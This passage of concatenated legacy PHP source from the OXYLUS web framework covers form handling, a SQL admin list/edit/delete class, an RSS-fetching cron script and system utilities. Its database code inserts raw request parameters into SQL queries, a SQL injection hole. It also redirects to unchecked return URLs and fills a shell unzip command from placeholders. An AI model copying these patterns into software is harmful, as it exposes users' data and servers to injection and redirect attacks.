dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies #require_once _LIBPATH . "forms.php"; /** * description * * @library * @author * @since */ class CFormSettings extends CForm{ function CFormSettings($xml , $templates , $db , $tables) { parent::CForm($templates, $db , $tables,$xml); $this->name = "formsettings"; $this->method = strtoupper($this->form["method"] ? $this->form["method"] : "post"); } /** * description * * @param * * @return * * @access */ function Show($values , $extra = array()) { //check if i should show the details if (is_array($this->_errors)) { $edit = true; } else { if ($_SERVER["REQUEST_METHOD"] == "POST") { //redirect to the showing mode; $location = new CTemplate($this->form["redirect"] , "string"); URLRedirect($location->Replace(parent::GlobalVars($this->form)) , "js"); } else $edit = $_GET["action"] == "edit" || $_GET["action"] == "store" ? true : false; } if ($edit == false) { //convert the editable fields to the showing ones if (is_array($this->form["fields"])) { parent::__private__showonly(&$this->form); } //remove the edit and back buttons if (!$_GET["returnurl"]) unset($this->form["buttons"]["back"]); unset($this->form["buttons"]["save"]); unset($this->form["action"]); } else { //remove the edit button unset($this->form["buttons"]["edit"]); } return parent::Show( $this->form , is_array($this->_errors) ? $this->_errors : array( "values" => $values, "error" => $this->error ), $extra ); } /** * description * * @param * * @return * * @access */ function Validate() { if ($_SERVER["REQUEST_METHOD"] != $this->method) return 1; if ($this->method == "GET" ) $data = &$_GET ; else $data = &$_POST; CForm::ProcessVariables($this->form, $data); $this->_errors = parent::Validate($this->form , $data); $this->valid = !(int)is_array($this->_errors); //$this->__private_process_uploads(); } function Done() { $this->Validate(); $this->Uploads(); if ($this->valid) { if ($_SERVER["REQUEST_METHOD"] == "POST") { $this->DoUploads(); return true; } } return false; } /** * description * * @param * * @return * * @access */ function Uploads() { if (is_array($this->form["fields"])) { foreach ($this->form["fields"] as $key => $val) { if (!$val["name"]) $val["name"] = $key; switch ($val["type"]) { case "upload": case "image": $this->__private_uploads_pre($val); break; } } } } /** * description * * @param * * @return * * @access */ function DoUploads() { if (is_array($this->form["fields"])) { foreach ($this->form["fields"] as $key => $val) { if (!$val["name"]) $val["name"] = $key; switch ($val["type"]) { case "upload": case "image": $this->__private_uploads_after($val); //remove the extra fields unset($_POST["portfolio_img_temp"]); unset($_POST["portfolio_img_radio_type"]); unset($_POST["portfolio_img_upload_web"]); break; } } } } function DoEvents(){ } } ?>``` pre.base.href.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro */ $_TSM["PRIV.BASE.HREF"] = dirname((strtoupper($_SERVER["HTTPS"]) == "on" ? "https://" : "http://") . $_SERVER["HTTP_HOST"] . ($_SERVER["SERVER_PORT"] != 80 ? ':' . $_SERVER["SERVER_PORT"] : '') . $_SERVER["SCRIPT_NAME"] ) . "/"; $_CONF["url"] = str_replace("admin/" , "" , $_TSM["PRIV.BASE.HREF"]);; ?>``` after.skin.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies $skin_pre = "after."; $skin = $_CONF["admin"]["template"]["tpl"]; if (!$_GET["mod"] && $_USER) { $_TSM["PB_EVENTS"] = $_MODULES["oxymall"]->plugins["modules"]->DashBoard(); } include_once("skin/iceBlue/local/after.capcha.php" ); include_once("skin/iceBlue/local/after.logo.php" ); include_once("skin/iceBlue/local/after.welcome.php" ); ?>``` sqladmin.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2010 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: library.php,v 0.0.1 03/03/2004 17:38:21 oxylus Exp $ slqadmin class */ /** * slqadmin class * * @library Library * @author oxylus [Emanuel Giurgea <emanuel@oxylus.ro>] * @since PHPbase 0.0.1 */ class CSQLAdmin extends CLibrary { /** * description * * @var type * * @access type */ var $form; /** * description * * @var type * * @access type */ var $functions; function CSQLAdmin($section , $templates , $db , $tables , $extra = "") { global $_CONF; if (!$_GET["page"]) $_GET["page"] = 1; parent::CLibrary("SQLAdmin"); //checking if the templates are orblects or path to a template file if (!is_array($templates)) //if path the load the tempmate form that file $this->templates = array("generic_form" => new CTemplate($templates)); else $this->templates = $templates; $this->db = $db; $this->tables = $tables; //extra variables to be passed to cform $this->extra = $extra; if (is_array($section)) { $this->forms = $section; } else { //loading the forms , changed the varialbes locations, but still keeping the compatibility $path = ($_CONF["forms"]["adminpath"] ? $_CONF["forms"]["adminpath"] : $_CONF["formspath"] ); if (dirname($section)) { $path .= dirname($section) . "/" ; $section = basename($section); } //debuging part // echo "<br>FILE:SQLADMIN:MAIN:{$path}{$section}.xml"; if (defined("PB_DEBUG") && (PB_DEBUG == "1")) echo "<br>FILE:SQLADMIN:MAIN:{$path}{$section}.xml"; $conf = new CConfig( $path . $section . ".xml"); $this->forms = $conf->vars["form"]; //loading the edit/add forms if (is_array($this->forms["forms"])) { foreach ($this->forms["forms"] as $key => $val) { if (is_array($val)) { $form = CForm::Process($path . $val["file"]); $this->forms["forms"][$key] = $form; $this->forms["forms"][$key]["type"] = $val["type"]; } if (strstr($val,"SHOW::")) { $tmp = explode("::" , $val); $form = is_array($this->forms["forms"][$tmp[1]]) ? $this->forms["forms"][$tmp[1]] : CForm::Process($path . $this->forms["forms"][$tmp[1]]); CForm::__private__showonly(&$form); } else if (file_exists($path . $val)){ $form = CForm::Process($path . $val); } if (is_array($form)) { $this->forms["forms"][$key] = array_merge( $form , array( "table" => &$this->forms["table"], "table_uid" => &$this->forms["table_uid"], "urilinks" => &$this->forms["urilinks"], "uridata" => &$this->forms["uridata"] ) ); if (in_array($key , array("store" , "add" , "edit" , "details" , "search")) && !isset($this->forms["forms"][$key]["type"])) { $this->forms["forms"][$key]["type"] = "FORM"; } else { if (in_array($key , array("list" , "search")) && !isset($this->forms["forms"][$key]["type"])) { $this->forms["forms"][$key]["type"] = "LIST"; } } } } //prepare buttons foreach ($this->forms["forms"] as $key => $val) { if ((($key == "edit")||($key == "add")) && isset($this->forms["forms"][$key]["buttons"]["button_edit"])) unset($this->forms["forms"][$key]["buttons"]["button_edit"]); if (($key == "details") && isset($this->forms["forms"][$key]["buttons"]["button_save"])) unset($this->forms["forms"][$key]["buttons"]["button_save"]); if (!($_GET["returnurl"] || $_POST["returnurl"]) && isset($this->forms["forms"][$key]["buttons"]["button_back"])) if (is_array($this->forms["forms"][$key]["buttons"]["button_back"])) { unset($this->forms["forms"][$key]["buttons"]["button_back"]); } } if (is_array($this->forms["forms"]["search"])) { //prepare the list to be shown under a cform box $search = &$this->forms["forms"]["search"]; if (is_array($search["search"]["simple"]) && is_array($search["search"]["advanced"])) $search["search"] = $search["search"][$_GET["advanced"] ? "advanced" : "simple"]; if (is_array($search["search"])) { $search_type = &$search["search"]; $search["fields"] = array_merge($search["fields"] , $search_type["fields"] ); //append a field to show all the fields when a submit button is pressed //prepare the list form //check if the fields in the list will apear dinamicaly if (is_array($search_type["fields"]["fields"])) { if (is_array($_GET["fields"])) { $fields_list = $_GET["fields"]; } else { $fields_list = explode("," , strlen($_GET["fields"]) ? $_GET["fields"] : $search_type["fields"]["fields"]["default"]); } //if no getfields then set the default fields if (!is_array($_GET["fields"])) $_GET["fields"] = $fields_list; //process the $_GET["fields"] if (is_array($_GET["fields"])) { foreach ($_GET["fields"] as $__key => $__val) { // if ($__key != $__val) { $_GET["fields"][$__val] = $__val; unset($_GET["fields"][$__key]); // } } // debug($_GET["fields"]); } //remove the fields which arent defined, ONLY IF $_GET[fields] is set if (is_array($search_type["header"]) && is_array($_GET["fields"]) ) { foreach ($search_type["header"] as $key => $val) { if (!array_exists($key , $fields_list )) { unset($search_type["header"][$key]); } } } } else { // add all the existing gields if (is_array($search_type["header"]) && count($search_type["header"])) $this->forms["forms"]["list"]["fields"] = array_merge($search_type["header"],$this->forms["forms"]["list"]["fields"]); } } } } } $this->form = new CForm($this->templates["generic_form"], &$db , &$tables); } /** * description * * @param * * @return * * @access */ function FormList($items = "" , $return_ajax = false , $page = 1) { global $base; $found_search = true; //prepare the listing way if (is_array($this->forms["forms"]["search"])) { if ($this->forms["forms"]["search"]["search"]["required"] == "true") $found_search = false; } else $found_search = true; //checking if hte values weren't inputed ion the main object if (is_array($this->items)) { $items = $this->items; $items_count = count($items); } else { if (is_array($items)) $items_count = count($items); } //crap, preexecute a function, which is suposed in some times to preload the items too //check if exists a search screen if (is_array($this->forms["forms"]["search"])) { //prepare the list to be shown under a cform box $search = &$this->forms["forms"]["search"]; if (($_GET["hidesearch"] != "true")) { $this->forms["forms"]["list"]["border"] = ""; $this->forms["forms"]["list"]["subtitle"] = $this->forms["forms"]["list"]["title"]; } //process the buttons if ($_GET["advanced"]) { unset($search["buttons"]["butt_advanced"]); unset($search["buttons"]["button_advanced"]); } else { if (isset($search)) { if (is_array($search["buttons"]["butt_simple"])) unset($search["buttons"]["butt_simple"]); if (is_array($search["buttons"]["button_simple"])) unset($search["buttons"]["button_simple"]); } } if (is_array($search["search"])) { $search_type = &$search["search"]; //put the remain fields in the front of the other in the listing xml if (is_array($search_type["header"])) { $this->forms["forms"]["list"]["fields"] = array_merge($search_type["header"],$this->forms["forms"]["list"]["fields"]); } //check if exists return url then show the return button if (!$_GET["returnurl"] && is_array($search["buttons"]["button_back"])) unset($search["buttons"]["button_back"]); //prepare the list form //check if the fields in the list will apear dinamicaly if (is_array($search_type["sql_fields"])) { //prepare the search query if (is_array($search_type["sql_fields"])) { //process the variables from the input source CForm::ProcessVariables($search, &$_GET); foreach ($search_type["sql_fields"] as $key => $val) { //add to query only variables which are found in $_GET, others get ignored switch (strtolower($val)) { case "=": if (isset($_GET[$key]) && strlen($_GET[$key])) $query[] = " `$key`='{$_GET[$key]}'"; break; case "int": $query[] = " `$key`=" . ((int)$_GET[$key]) . ""; break; case "%": if (isset($_GET[$key]) && strlen($_GET[$key])) $query[] = " `$key` LIKE '%{$_GET[$key]}%'"; break; case "?%": if (isset($_GET[$key]) && strlen($_GET[$key])) $query[] = " `$key` LIKE '{$_GET[$key]}%'"; break; case "%?": if (isset($_GET[$key]) && strlen($_GET[$key])) $query[] = " `$key` LIKE '%{$_GET[$key]}'"; break; case "range": $start = ""; $end = ""; if ($_GET[$key . "_start"]) $start = $_GET[$key . "_start"]; if ($_GET[$key . "_end"]) $end = $_GET[$key . "_end"]; if ($start && $end) $query[] = " ((`$key` <= '$end') AND (`$key` >= '$start')) "; else if ($start) $query[] = " `$key` >= '$start' "; else if ($end) $query[] = " `$key` <= '$end' "; break; case "in_set": if ($_GET["$key"]) { $query[] = " FIND_IN_SET('" . $_GET[$key] . "' , `{$key}`) "; } break; case "in": if (strlen($_GET[$key])) { $__tmp = implode("','" , explode("," , $_GET[$key])); $query[] = " `{$key}` IN ( '{$__tmp}' ) "; } break; } //prepare the fields allowed for sorting $__fields[] = $key; } //add the final condition to list if (is_array($query)) { if (count($query) > 1) { $this->forms["forms"]["list"]["sql"]["vars"]["condition"]["import"] = implode(" " . (array_exists($_GET["relation"] , array("and" , "or")) ? $_GET["relation"] : "and") . " " , $query); } else $this->forms["forms"]["list"]["sql"]["vars"]["condition"]["import"] = $query[0]; if (!$this->forms["forms"]["list"]["sql"]["vars"]["req_condition"]["import"]) $this->forms["forms"]["list"]["sql"]["vars"]["condition"]["import"] = " WHERE " . $this->forms["forms"]["list"]["sql"]["vars"]["condition"]["import"]; else $this->forms["forms"]["list"]["sql"]["vars"]["condition"]["import"] = $this->forms["forms"]["list"]["sql"]["vars"]["req_condition"]["import"] . " AND " . $this->forms["forms"]["list"]["sql"]["vars"]["condition"]["import"]; $found_search = true; } else { if ($this->forms["forms"]["list"]["sql"]["vars"]["req_condition"]) $this->forms["forms"]["list"]["sql"]["vars"]["condition"] = $this->forms["forms"]["list"]["sql"]["vars"]["req_condition"]; } } //add the order field to the sql field if ($_GET["order"] && array_key_exists($_GET["order"] , $search_type["sql_fields"])) $this->forms["forms"]["list"]["sql"]["vars"]["order"]["import"] = $_GET["order"]; //add the ordering mode to the sql vars if ($_GET["order_mode"] && array_exists($_GET["order_mode"] , array("ASC" , "DESC" ))) $this->forms["forms"]["list"]["sql"]["vars"]["order_mode"]["import"] = $_GET["order_mode"]; //prepare the items number if ((int)$_GET["items"]) $this->forms["forms"]["list"]["items"] = $this->forms["forms"]["list"]["sql"]["vars"]["items"]["import"] = (int)$_GET["items"]; else $this->forms["forms"]["list"]["sql"]["vars"]["items"]["import"] = $this->forms["forms"]["list"]["items"]; } } else { //required condition $this->forms["forms"]["list"]["sql"]["vars"]["condition"] = $this->forms["forms"]["list"]["sql"]["vars"]["req_condition"]; } } if ($found_search || ($_GET["search"])) { if (is_array($this->functions["list"]["pre"])) call_user_func($this->functions["list"]["pre"], &$items , &$items_count); $_GET["page"] = $_GET["page"] ? $_GET["page"] : 1; //auto index the element $start = $this->forms["forms"]["list"]["items"] * ($_GET["page"] - 1 ); if (is_array($items)) { foreach ($items as $key => $val) { $items[$key]["_count"] = ++$start; } } //check if is a normal request or an ajax request if ($return_ajax) { return $this->form->AjaxList($this->forms["forms"]["list"] , $items , $count , $this->extra["list"] , $page); } else { //$data = new CForm($this->templates["generic_form"], &$this->db , &$this->tables); $return = $this->form->SimpleList($this->forms["forms"]["list"] , $items , $count , $this->extra["list"]); } } //at this stage remove the unused sections unset($search["search"]); // debug($this->templates["generic_form"],1); if (is_array($search) && ($_GET["hidesearch"] != "true")) { $search_form = new CForm($this->templates["generic_form"], &$this->db , &$this->tables); return $search_form->Show($search , array("values"=>$_GET) , array("after" => $return)); } else return $return; } /** * description * * @param * * @return * * @access */ function SetFunction( $form , $event , $function) { $this->functions[$form][$event] = $function; } /** * description * * @param * * @return * * @access */ function ListProcess($pre = "" , $after = "" ) { $this->functions["list"]["pre"] = $pre; $this->functions["list"]["after"] = $after; } /** * description * * @param * * @return * * @access */ function StoreRecord($redirect = true) { global $base, $_CONF; //validating the input data if ($_SERVER["REQUEST_METHOD"] == "POST") { //doing a autodetect for storing type , edit or add //if $_GET["type"] is set is simple, else detecting after the id form if (!isset($_GET["type"])) { if ($_POST[$this->forms["table_uid"]]) $_GET["type"] = "edit"; else $_GET["type"] = "add"; } //if validation succeeds then i move the files from /tmp to their directory, else i will proceed to add //precheck for uploaded files, like temporary images, etc. $form = $this->forms["forms"][$_GET["type"]]; if (is_array($form["fields"])) { $_POST = CForm::ProcessVariables($form , $_POST); foreach ($form["fields"] as $key => $val) { //update the name value if (!$val["name"]) $val["name"] = $key; switch ($val["type"]) { case "checkbox": if ($this->_set_store_nochecks != true) { if (!isset($_POST[$key])) { $_POST[$key] = "0"; } } break; case "upload": $file = true; case "image": unset($_POST[$key]); CForm::__private_uploads_pre($val , &$_fields); break; } } } //force for no validation sometimes if ($_GET["FORMvalidate"] == "false") $fields = ""; else $fields = $this->form->Validate($this->forms["forms"][$_GET["type"]] , $_POST); if (!is_array($fields)) { //adding to database if ($this->functions["onstore_prepare"]) call_user_func($this->functions["onstore_prepare"] , $_POST ); //check if its an isert if ($_POST[$this->forms["table_uid"]] && is_array($this->db->QFetchArray("SELECT * FROM " . $this->tables[$this->forms["table"]] . " WHERE {$this->forms[table_uid]}='" . $_POST[$this->forms["table_uid"]] . "'"))) { $this->db->QueryUpdate($this->tables[$this->forms["table"]] , $_POST , "`" . $this->forms["table_uid"] . "`='" . $_POST[$this->forms["table_uid"]] . "'" ); $id = $_POST[$this->forms["table_uid"]]; $was_added = false; } else { $id = $this->db->QueryInsert($this->tables[$this->forms["table"]] , $_POST); $_POST[$this->forms["table_uid"]] = $id; $was_added = true; //if i have an ordering function then auto generate the id if (is_array($this->forms["forms"]["list"]["order"])) { $ofield = $this->forms["forms"]["list"]["order"]["field"]; $this->db->Query( "UPDATE {$this->tables[$this->forms['table']]} SET {$ofield}={$id} WHERE {$this->forms[table_uid]}={$id}" ); //remove the order field unset($_POST[$ofield]); } } //data stored, taking care of uploade files/images, etc if (is_array($form["fields"])) { foreach ($form["fields"] as $key => $val) { //update the name value if (!$val["name"]) $val["name"] = $key; switch ($val["type"]) { case "upload": case "image": //checking if is really e file, else if no tmp is set then it can be the folder where are stored the values if (CForm::__private_uploads_after($val)) { $_POST[$key] = 1; $this->db->QueryUpdate($this->tables[$this->forms["table"]] , $_POST , "`" . $this->forms["table_uid"] . "`='" . $_POST[$this->forms["table_uid"]] . "'" ); } break; default: if (is_array($val["file"])) SaveFileContents($_CONF["path"] . $_CONF["upload"] . $val["file"]["path"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] , stripslashes($_POST[$key])); break; } } } if (!$_GET["type"]) { $_GET["type"] = $_POST[$this->forms["table_uid"]] ? "edit" : "add"; } if ($this->functions["onstore"]) call_user_func($this->functions["onstore"] , $_POST , $_GET["type"]); $this->templates["generic_form"]->blocks["Temp"]->input = $this->forms["forms"][$_GET["type"]]["redirect"]; //replacing the values //die($this->templates["generic_form"]->blocks["Temp"]->Replace($_POST)); //do this before anything if ($_POST["_after_save"]) { $_POST["after_save"] = $_POST["_after_save"]; } if ($_POST["after_save"]) { $vars = $this->form->GlobalVars($this->forms["forms"]["add"] , array_merge($_GET , $_POST)); //the user wants to add another record after he adds the current one, so lets help him do it easy $location = new CTemplate($vars["self.uri.add"] . "&after_save={$_POST[after_save]}&returnurl=" . $_POST["returnurl"] , "string"); UrlRedirect($location->Replace(array_merge($_GET , $_POST))); } if ($_GET["returnURL"]) { header("Location:" . urldecode($_GET["returnURL"])); exit; } if ($_POST["returnurl"]) { switch ($_GET["storeredirect"]) { case "STOREDETAILS": header("Location:" . basename($_SERVER["SCRIPT_NAME"]) . "?mod={$_GET[mod]}&sub={$_GET[sub]}&action={$this->forms[uridata][details]}&{$this->forms[table_uid]}={$_POST[$this->forms[table_uid]]}&returnurl={$_POST[returnurl]}"); exit; break; case "ADDDETAILS": //if is a new adition the redirect to details if ($was_added) { header("Location:" . basename($_SERVER["SCRIPT_NAME"]) . "?mod={$_GET[mod]}&sub={$_GET[sub]}&module_id={$_GET[module_id]}&action={$this->forms[uridata][details]}&{$this->forms[table_uid]}={$_POST[$this->forms[table_uid]]}&returnurl={$_POST[returnurl]}"); exit; } //else co in next case default: $count = 1; while ($count < 10 ) { $_POST["returnurl"] = urldecode($_POST["returnurl"]); if (substr($_POST["returnurl"],0,1) == "/") break; $count ++; } $this->templates["generic_form"]->blocks["Temp"]->input = $_POST["returnurl"]; header("Location:" . $this->templates["generic_form"]->blocks["Temp"]->Replace(array_merge($_GET,$_POST))); exit; break; } } if ($redirect == true) { header("Location: " . CryptLink($this->templates["generic_form"]->blocks["Temp"]->Replace(array_merge($_GET,$_POST)))); exit; } else { return true; } } } else { die("ARGH!!!"); //redirecting to list page header("Location:" . str_replace("&action=store" , "" , $_SERVER["REQUEST_URI"])); exit; } if (is_array($_fields["values"])) // read the default record, and merge the fields $fields["values"] = array_merge($fields["values"], $_fields["values"]); if ($_POST[$this->forms["table_uid"]]) { $data = $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$this->forms["table"]] . "` WHERE `" . $this->forms["table_uid"] . "`='" . $_POST[$this->forms["table_uid"]] . "'" ); $fields["values"] = array_merge($data , $fields["values"]); // debug($fields); } return $this->form->Show($this->forms["forms"][$_GET["type"]] , $fields , $this->extra[$_GET["type"]]); } /** * description * * @param * * @return * * @access */ function RestoreURI($section) { if (is_array($_GET)) { foreach ($_GET as $key => $val) { $out[$key] = $key . "=" . $val; } $out[$this->forms["uridata"]["action"]] = $this->forms["uridata"]["action"] . "=" . $this->forms["uridata"][$section]; unset($out[$this->forms["table_uid"]]); return CryptLink($_SERVER["SCRIPT_NAME"] . "?" . implode("&" , $out)); //return $_ } } /** * description * * @param * * @return * * @access */ function DoEvents($section = "" , $extra = "" , $values = "") { global $base , $_CONF; if (is_array($extra)) { $this->extra = array_merge($this->extra , $extra); } switch ($_GET[$this->forms["uridata"]["action"]]) { case $this->forms["uridata"]["delete"]: if (($_GET["rconfirm"] == "true")&&($_GET["confirmed"] != "true")) { return $this->templates["generic_form"]->blocks["DeleteItem"]->Replace(array( "title" => $_GET["title"] ? urldecode($_GET["title"]) : "Delete Item", "description" => $_GET["description"] ? urldecode($_GET["description"]) : "Are you sure you want to delete this record?", "return" => urldecode($_GET["returnURL"]), "cancel_location" => urldecode($_GET["returnURL"]), "delete_location" => $_SERVER["REQUEST_URI"] . "&confirmed=true" )); } if ($_SERVER["REQUEST_METHOD"] == "POST") { if (is_array($_POST[$this->forms["table_uid"]])) { foreach ($_POST[$this->forms["table_uid"]] as $key => $val) { $this->db->Query("DELETE FROM `" . $this->tables[$this->forms["table"]] . "` WHERE `" . $this->forms["table_uid"] . "`='" . $val . "'" ); } } if ($_GET["returnURL"]) { header("Location: " . CryptLink(urldecode($_GET["returnurl"]))); exit; } else { header("Location:" . $_SERVER["HTTP_REFERER"]/*$this->RestoreURI("list")*/); exit; } } else { //searching for element $data = $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$this->forms["table"]] . "` WHERE `" . $this->forms["table_uid"] . "`='" . $_GET[$this->forms["table_uid"]] . "'" ); //checking if this is a valid data if (is_array($data)) { $this->db->Query("DELETE FROM `" . $this->tables[$this->forms["table"]] . "` WHERE `" . $this->forms["table_uid"] . "`='" . $_GET[$this->forms["table_uid"]] . "'" ); if ($this->functions["ondelete"]) call_user_func($this->functions["ondelete"] , $data); } if ($_GET["returnURL"]) { header("Location: " . CryptLink(urldecode($_GET["returnURL"]))); exit; } else { header("Location:" . $_SERVER["HTTP_REFERER"]/*$this->RestoreURI("list")*/); exit; } } break; case $this->forms["uridata"]["store"]: return $this->StoreRecord(); break; case $this->forms["uridata"]["add"]: $fields["values"] = $values["add"]; return $this->form->Show($this->forms["forms"]["add"] , $fields , $this->extra["add"]); break; case $this->forms["uridata"]["edit"]: //searching for element $data = $values["edit"] ? $values["edit"] : $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$this->forms["table"]] . "` WHERE `" . $this->forms["table_uid"] . "`='" . $_GET[$this->forms["table_uid"]] . "'" ); if ($this->functions["onedit"]) call_user_func($this->functions["onedit"] , &$data); //checking if this is a valid data if (is_array($data)) { $fields["values"] = $data; return $this->form->Show($this->forms["forms"]["edit"] , $fields , $this->extra["edit"]); } header("Location:" . $this->RestoreURI("list")); exit; break; case $this->forms["uridata"]["details"]: //searching for element $data = $values["details"] ? $values["details"] : $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$this->forms["table"]] . "` WHERE `" . $this->forms["table_uid"] . "`='" . $_GET[$this->forms["table_uid"]] . "'" ); if ($this->functions["ondetails"]) call_user_func($this->functions["ondetails"] , &$data); //checking if this is a valid data if (is_array($data)) { $fields["values"] = $data; return $this->form->Show($this->forms["forms"]["details"] , $fields, $this->extra["details"]); } header("Location:" . $this->RestoreURI("list")); exit; break; case "ajax.reorder-records": if ($this->forms["forms"]["list"]["order"]) { //this can be time consuming set_time_limit(0); //shit if ($_POST["table_order"] && is_array($this->forms["forms"]["list"]["order"])) { //debug($_GET,1); $order = $this->forms["forms"]["list"]["order"]; //read the items $items = $this->db->QFetchRowArray("SELECT {$this->forms[table_uid]} as id, {$order[field]} as oid FROM `" . $this->tables[$this->forms["table"]] . "` WHERE {$this->forms[table_uid]} in (" . implode("," , $_POST["table_order"]) . ") ORDER BY {$order[field]} {$order[mode]}" ); if (is_array($items) && (count($items) == count($_POST["table_order"]))) { //invert the key with vars from new order foreach ($_POST["table_order"] as $key => $val) { $new_order[$val] = $key; } foreach ($items as $key => $val) { $items[$key]["noid"] = $items[$new_order[$val["id"]]]["oid"]; } foreach ($items as $key => $val) { $this->db->QueryUpdate( $this->tables[$this->forms["table"]], array( $order["field"] => $val["noid"] ), "{$this->forms[table_uid]} = {$val[id]}" ); } die("1"); } } die("0"); } die("0"); break; case $this->forms["uridata"]["search"]: case $this->forms["uridata"]["list"]: default: if ($_GET["ajax"] == "true") { echo $this->FormList($values["list"] , true , $_GET["page"]); die(); } else { return $this->FormList($values["list"]); } break; } } } /* History v0.0.4 Unreleased Fixed the saving the value in a file, added stripslashes v0.0.3 Wensday 24 March 2004 Moved SimpleList from sqladmin in forms class Added image element to SimpleList Added date element to SimpleList Instead of $form array the data can be a path to an xml file The template is passed to sql admin, no longer loading from generic_form v0.0.2 Tuesday 16 March 2004 Fixed, add/edit SQL query. Sunday 14 March 2004 Added search support for list section. Added header titles to list section. Fixed the buttons apearance in list. ( they dont apear broken anymore ) Added upload/resize/efects image form to forms library, FUCK loosing the image if the forms isnt complety validated from first time. Added html editor to forms library. Fixed the image loosing when the form wasnt validated. Added the download from web image. v0.0.1 Wensday 3 March 2004 First version with basic options, edit, list, add. */ ?>``` after.cron.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2008 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies if ($_GET["sub"] == "cron") { header('Content-type: image/jpeg'); //get all blog modules $blogs = $this->db->QFetchRowArray("SELECT * FROM {$_MODULES[oxymall]->private->tables['core:user_modules']} WHERE mod_module_code='blog'"); if (is_array($blogs)) { foreach ($blogs as $key => $val) { $settings = unserialize($val["mod_settings"]); //check for twitter if ($settings["set_twitter_rss"]) { $filename = "upload/blog/blog_twitter_" . $val["mod_id"] . ".rss"; if (!file_exists($filename) || (filemtime($filename) < (time()-$settings["set_twitter_refresh"]))) { @unlink($filename); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $settings["set_twitter_rss"]); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec($ch); curl_close($ch); SaveFileContents( $filename , $content ); @chmod($filename , 0777); } } //check for flicker if ($settings["set_flickr_rss"]) { $filename = "upload/blog/blog_flickr_" . $val["mod_id"] . ".rss"; if (!file_exists($filename) || (filemtime($filename) < (time()-$settings["set_flickr_refresh"]))) { @unlink($filename); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $settings["set_flickr_rss"]); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec($ch); curl_close($ch); SaveFileContents( $filename , $content ); @chmod($filename , 0777); } } } } die(); } ?> ``` sys.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies /** * description * * @library * @author * @since */ if(!defined('UNZIP_CMD')) define('UNZIP_CMD','unzip -o @_SRC_@ -x -d @_DST_@'); class CSYS{ /** * description * * @param * * @return * * @access */ function _GetVar($data) { $__get = $_GET; if (is_array($data)) { //split the $_GET foreach ($data as $k => $v) { $__get[$k] = $v; } } if (is_array($__get)) { foreach ($__get as $k => $v) { if (is_array($v)) { foreach ($v as $key => $val) { $vars[] = "{$k}[]={$val}"; } } else { if ((strtolower($k) == "returnurl") && strstr($v,"=")) { while (strstr($v,"=")) $v = urlencode($v); $v = urlencode($v); } $vars[] = "$k=$v"; } } } return $_SERVER["PHP_SELF"] . "?" . @implode("&" , $vars); } /** * description * * @param * * @return * * @access */ function Str2Date($data , $format = "us" , $sep = "/") { switch ($data) { case "now_month": $date = time(); return mktime(0,0,0,date("m"), 1, date("Y")); break; case "now_month_end": return mktime(0,0,0,date("m"), 0, date("Y")); break; case "now": return time(); break; default: if (strstr($data , $sep)) { $elements = explode($sep , $data); return $format == "us" ? mktime(0,0,0, $elements[0],$elements[1],$elements[2]) : mktime(0,0,0, $elements[1],$elements[0],$elements[2]) ; } if ((int)$data >= 1970) return mktime(0,0,0,0,0,$data); break; } } /** * description * * @param * * @return * * @access */ function VarRequire($field) { return $_GET[$field] ? $_GET[$field] : $_POST[$field]; } /** * description * * @param * * @return * * @access */ function InRange($val , $min, $max) { return ($val >= $min) && ($val <= $max); } /** * description * * @param * * @return * * @access */ function ExtractVars($data) { $vars = @explode("?" , $data); $vars = @explode("&" , $vars[1]); if (is_array($vars)) { foreach ($vars as $key => $val) { $tmp = explode("=" , $val); $_vars[$tmp[0]] = $tmp[1]; } } return $_vars; } /** * description * * @param * * @return * * @access */ function ProcessDate($data , $dates) { if (is_array($data)) { $count = true; foreach ($data as $key => $val) { $count = !$count; $data[$key]["__alternance"] = (int)$count; foreach ($dates as $k => $v) { if ($val[$k] > 1000) $data[$key][$k] = date($v , $val[$k]); else $data[$key][$k] = "N/A"; } } } return $data; } /** * description * * @param * * @return * * @access */ function ProcessNotes($records , $field , $max , $stars) { if (is_array($records)) { foreach ($records as $key => $val) { CSYS::ProcessNote ( &$records[$key] , $field , $max , $stars); } } return $records; } /** * description * * @param * * @return * * @access */ function ProcessNote($val , $field , $max , $stars) { $stars_note = ($val[$field] * $stars) / $max; $int = number_format($stars_note , 1); $dec = number_format(($stars_note - $stars_note % 10) * 10 , 0); $i = 1; if ($int > 0) { for ($i = 1 ; $i <= $int ; $i++) { $val[$field. "_" . $i] = "2"; } } if ($dec < 2) $val[$field . "_" . $i] = "0"; else if ($dec >= 7) $val[$field . "_" . $i] = "2"; else $val[$field . "_" . $i] = "1"; $i++; if ($i <= $stars) { for ($j = $i; $j <= $stars ; $j++ ) $val[$field. "_" . $j] = "0"; } return $val; } /** * description * * @param * * @return * * @access */ function nl2p($data) { $tmp = explode("\n" , $data); if (is_array($tmp)) { foreach ($tmp as $key => $val) { $tmp[$key] = "<p>" . trim($val) . "</p>"; } return implode("" , $tmp); } return "<p>{$data}</p>"; } /** * description * * @param * * @return * * @access */ function rmDir($path) { // Add trailing slash to $path if one is not there if (substr($path, -1, 1) != "/") { $path .= "/"; } 